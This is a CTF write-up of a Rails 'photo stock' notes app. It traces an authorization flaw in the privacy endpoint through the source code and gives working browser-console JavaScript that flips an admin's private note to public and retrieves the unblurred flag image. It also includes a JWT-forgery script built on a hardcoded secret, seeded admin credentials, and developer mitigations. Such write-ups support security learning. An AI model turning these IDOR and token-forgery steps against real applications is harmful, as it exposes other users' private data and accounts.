PHOTO STOCK – CTF Write-up (Notes App)

Guide on how I found the bug and got the flag from the hosted instance.

TL;DR

- The backend exposes a privacy endpoint that lets you change any note's privacy by smuggling an `id` in the query string, even if you don't own the note.
- Use your own logged-in session in the browser, flip the admin's note to `public`, then fetch the original (unblurred) image to read/scan the flag.
- There's also a hardcoded JWT secret that allows forging tokens, and default admin seeds in the local code, but the privacy bug is the quickest.

Challenge overview

- Frontend serves a "photo stock" gallery and account page.
- Backend is a Ruby on Rails API (api-only) with JWT-based auth.
- Notes have images; private notes show blurred images to non-owners.

Typical endpoints (through Nginx):

- POST `/api/auth/register`, `/api/auth/login`, GET `/api/auth/me`
- GET `/api/notes`, POST `/api/notes`, GET `/api/notes/:id/image`
- PATCH `/api/notes/:privacy` (this is the interesting one - this is what I use to get the admin's note)

Local recon and code audit

Looking at the repository:

> Note: To help understand and reproduce the exploit safely, Kaspersky provided a local version of the website with a Docker setup (docker-compose + Nginx + Rails). Running it locally made it easy to inspect routes, controllers, and test requests before trying the hosted instance.

- Hardcoded JWT secret (critical):

  – `backend/app/services/jwt_service.rb`

```ruby
class JwtService
  SECRET_KEY = 'super-secret-jwt-key'
  ALGORITHM = 'HS256'

  def self.encode(payload)
      payload[:exp] = 24.hours.from_now.to_i
      payload[:iat] = Time.current.to_i

      JWT.encode(payload, SECRET_KEY, ALGORITHM)
  end
```

- This means anyone can forge valid JWTs offline.
- Seeded admin (common in dev):

```ruby
user = User.create!(
  username: 'administrator',
  password: 'password1337!',
  password_confirmation: 'password1337!'
```

```
)

Note.create!(
  user: user,
  title: 'mvp_note',
  image_data: <image_data>,
  privacy: 'private'
)
```

- Not guaranteed in the hosted instance, but handy locally.
- Notes controller privacy bug (critical):
  - backend/config/routes.rb

```
patch 'notes/:privacy', to: 'notes#privacy'
```

- backend/app/controllers/notes_controller.rb (privacy action)

```
def privacy
  privacy = params[:privacy]
  return render_bad_request("Privacy must be 'private' or 'public'") unless %w[private
   ↪  public].include?(privacy)

  if params[:_json].is_a?(Array)
    params[:_json].each do |note_id|
      return render_forbidden unless Note.find_by(id: note_id).user_id == current_user.id
      Note.where(id: note_id).update(privacy: privacy)
    end
  else
    return render_forbidden unless Note.find_by(id: params[:id]).user_id ==
     ↪  current_user.id
  end

  if params[:id]
    Note.find_by(id: params[:id]).update(privacy: privacy)  # ← updates any id present in
     ↪  query
  end

  render_success
end
```

- Net effect: send an empty array `[]` or an array containing only your own note id to pass checks, while flipping any victim `?id=<victim-id>` to `public`.
- Image behavior:
  - backend/app/controllers/notes_controller.rb (image action)

```
def image
  note = Note.find(params[:id])
  return render_not_found unless note
  return render_not_found unless note.image_path.present?

  image_path = note.get_image_path
  return render_not_found unless image_path && File.exist?(image_path)

  if note.can_user_see_image?(current_user)
    send_file image_path, type: 'image/jpeg', disposition: 'inline'
  else
```

```
    blurred_image_path = ImageService.create_blurred_image(image_path)
    send_file blurred_image_path, type: 'image/jpeg', disposition: 'inline'
  end
rescue ActiveRecord::RecordNotFound
  render_not_found
end
```

- backend/app/models/note.rb (authorization check)

```
def can_user_see_image?(user)
  return true if user && user.id == user_id
  return true if public?
  false
end
```

- backend/app/services/image_service.rb (blur impl)

```
def self.create_blurred_image(image_path)
  return nil unless File.exist?(image_path)
  blurred_path = image_path.gsub(/\.(\w+)$/, '_blurred.\1')
  image = MiniMagick::Image.open(image_path)
  image.blur('0x50')
  image.write(blurred_path)
  blurred_path
rescue => e
  Rails.logger.error "Error creating blurred image: #{e.message}"
  nil
end
```

Exploit: privacy toggle bug

Goal: See the original admin image (unblurred) to read the flag.

> You must be logged in (any user account). Note that you need to create an account as the local instance admin credentials differs from the one hosted from production (e.g., kaspersky).

Recommended: Using the browser console

This avoids proxy quirks and uses your session token in `localStorage`.

1. Get your token and find the victim note id in DevTools Console:

```
const token = localStorage.getItem("token");
if (!token) throw new Error("Not logged in in this tab");

const notes = await fetch("/api/notes", {
  headers: { Authorization: `Bearer ${token}` },
}).then((r) => r.json());

// Look for the admin note
const victim = notes.find(
  (n) => n.title === "mvp_note" && n.owner === "administrator"
);
if (!victim) throw new Error("Admin note not found");
console.log("Victim note id:", victim.id);
```

2. Flip the victim note to public using the bug (empty array payload is enough):

```
await fetch(`/api/notes/public?id=${victim.id}`, {
  method: "PATCH",
  headers: {
    "Content-Type": "application/json",
    Authorization: `Bearer ${token}`,
  },
  body: "[]",
}).then((r) => console.log("privacy status:", r.status));
```

3. Fetch the original image (now unblurred) and open it:

```
const blob = await fetch(`/api/notes/${victim.id}/image`, {
  headers: { Authorization: `Bearer ${token}` },
}).then((r) => r.blob());

window.open(URL.createObjectURL(blob), "_blank");
```

Optional save to disk from console:

```
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = "admin_note.jpg";
a.click();
```

If step 2 returns 403/400 (patched instance), create a tiny note of your own and include its id in the body:

```
const tiny =
  ↪ "
  ↪ ;
const mine = await fetch("/api/notes", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    Authorization: `Bearer ${token}`,
  },
  body: JSON.stringify({
    note: { title: "mine_x", privacy: "private", image_data: tiny },
  }),
}).then((r) => r.json());

await fetch(`/api/notes/public?id=${victim.id}`, {
  method: "PATCH",
  headers: {
    "Content-Type": "application/json",
    Authorization: `Bearer ${token}`,
  },
  body: JSON.stringify([mine.id]),
});
```

Then fetch the original image exactly like in step 3:

```
const blob = await fetch(`/api/notes/${victim.id}/image`, {
  headers: { Authorization: `Bearer ${token}` },
}).then((r) => r.blob());

window.open(URL.createObjectURL(blob), "_blank");
```

Optional: verify the victim note is now public before fetching:

```
const refreshed = await fetch("/api/notes", {
  headers: { Authorization: `Bearer ${token}` },
}).then((r) => r.json());
console.log(refreshed.find((n) => n.id === victim.id).privacy);
```

Why this variant works

```
# backend/app/controllers/notes_controller.rb (trimmed)
def privacy
  privacy = params[:privacy]
  return render_bad_request("Privacy must be 'private' or 'public'") unless %w[private
   ↪  public].include?(privacy)

  # Branch 1: when body is a JSON array, verify you own each id in that array
  if params[:_json].is_a?(Array)
    params[:_json].each do |note_id|
      return render_forbidden unless Note.find_by(id: note_id).user_id == current_user.id
      Note.where(id: note_id).update(privacy: privacy)
    end
  else
    # Branch 2: otherwise, verify you own the query id
    return render_forbidden unless Note.find_by(id: params[:id]).user_id ==
     ↪  current_user.id
  end

  # Unconditional update: if a query id is present, it gets updated regardless
  if params[:id]
    Note.find_by(id: params[:id]).update(privacy: privacy)
  end

  render_success
end
```

```
# Example request that passes Branch 1 (you own the array id) but flips a victim via
 ↪  query id
PATCH /api/notes/public?id=VICTIM_NOTE_ID
Authorization: Bearer <your-token>
Content-Type: application/json

["YOUR_OWN_NOTE_ID"]
```

```
# Resulting follow-up to get the now-unblurred image
GET /api/notes/VICTIM_NOTE_ID/image
Authorization: Bearer <your-token>
```

Tips:

Alternate paths (if needed)

JWT forgery (hardcoded secret)

- Secret: `super-secret-jwt-key`
- Alg: `HS256`
- Payload: `{ user_id, username, exp, iat }`

If you know the admin's `user_id` (UUID), mint your own token:

```
# file: gen_admin_jwt.py
```

```python
import jwt
import time

SECRET_KEY = 'super-secret-jwt-key'
ALGORITHM = 'HS256'

payload = {
    'user_id': 'aa0223c6-b75d-4bbb-8634-117331e56032',
    'username': 'administrator',
    'exp': int(time.time()) + 24 * 60 * 60,  # expires in 24 hours
    'iat': int(time.time())
}

token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
print(token)
```

Note: you must install PyJWT not jwt library

Swap the browser session token

```javascript
// In DevTools Console on the app origin
localStorage.setItem("token", "PASTE_YOUR_GENERATED_JWT_HERE");
location.reload();
```

If you don't have the UUID, the privacy exploit above is better — it doesn't need the admin id.

Default admin creds (local-only convenience)

- Local seeds set `administrator / password1337!`. That may not exist on the hosted instance.

Summary

- Route: `patch 'notes/:privacy', to: 'notes#privacy'`
- In `NotesController#privacy`:
  - If `params[:_json]` is an array, it checks each id in that array for ownership.
  - Then it does:
    - `if params[:id]` → `Note.find_by(id: params[:id]).update(privacy: privacy)` (no owner check here!)
  - So, sending `id=<victim_id>` in the query string updates the victim's note, regardless of ownership.

This logic lets any authenticated user flip someone else's note to public.

Troubleshooting

- FRP "Not Found" HTML page:
  - The sandbox/instance is asleep or the FRP front is rejecting direct API calls.
  - Relaunch the instance; use the exact host you see in the browser; prefer Option A (browser console).
- 403/400 on PATCH:
  - Use the "own note id in array" variant.
  - If still blocked, try method override header and POST.
- Token expired:

  - Re-login. The frontend saves it to `localStorage` as `token`.

- Image still blurred:
  - Confirm privacy actually changed to `public`.
  - Add a cache buster query param to the `/image` request.

Mitigations (for the devs)

- Fix `NotesController#privacy`:
  - Always verify ownership before updating any note (including the `params[:id]` path).
  - Avoid dual input sources for id (path + query); require note id(s) in the body only.
- Remove hardcoded JWT secrets:
  - Use environment secrets, rotate keys, and consider token invalidation.
- Limit `/notes` listing:
  - Return only public notes and the requester's own notes; omit others or mask sensitive fields.
- Defense-in-depth:
  - Strong authorization checks server-side for every state change.
  - Consider rate-limiting and audit logs for privacy changes.

Result

Flip admin note → fetch unblurred image → read/scan the flag `flag{...}` or `kaspersky{...}`.

This was a real world style logic bug that shows how "just one stray update line" can break access control.

Prepared by: Arvy Aggabao agabaoarvy072004@gmail.com